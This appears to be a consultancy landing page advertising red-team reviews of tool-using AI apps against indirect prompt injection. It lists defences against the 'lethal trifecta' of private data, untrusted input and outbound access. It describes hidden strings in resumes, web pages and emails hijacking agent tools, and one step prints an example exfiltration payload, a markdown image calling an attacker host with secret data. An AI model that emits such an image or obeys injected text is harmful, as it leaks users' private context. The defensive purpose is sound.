Skip to content

Red-Team Tool-Using AI Apps Against Indirect Prompt Injection

Find out whether a malicious hidden string inside a PDF resume, web page, or support email can hijack your AI agent's tools or leak data.

The button copies the prompt and opens Michał Jaskólski’s LinkedIn profile: paste it into your message to him.

Application-layer AI security reviews harden LLM/tool boundaries and complement traditional penetration testing of network and cloud infrastructure.

Breaking the 'lethal trifecta' in tool-using AI apps

  1. 01

    Map every flow combining private data, untrusted text, and egress

    Whenever an agent reads untrusted external inputs AND holds private user context, strip autonomous network/outbound tool capabilities.

  2. 02

    Block dynamic external image URLs in Markdown rendering

    Sanitize chat Markdown CSP strictly—one injected `![](https://attacker.tld/leak?q=secret)` silently exfiltrates context on browser render.

  3. 03

    Isolate untrusted documents in toolless reader sub-calls

    Parse untrusted external PDFs/webpages inside a restricted sub-model call outputting constrained schemas rather than mixing raw text with privileged tools.

  4. 04

    Automate adversarial regression suites in CI

    Maintain multi-language injection payloads, encoding tricks, and system-prompt extraction probes that run automatically on every agent update.

Frequently Asked Questions

Can better system prompt wording alone solve indirect prompt injection?

Never 100%—LLMs process instructions and untrusted data in one token stream, so security boundaries must live in deterministic capability isolation and CSP rules.

What is the 'lethal trifecta' in AI agent security architecture?

Combining (1) access to private data, (2) exposure to untrusted external content, and (3) ability to communicate externally without human confirmation.

Should we worry if curious users extract parts of our system prompt?

System prompts should never contain API keys or proprietary secrets—treat prompt text as semi-public UX logic while keeping real security server-side.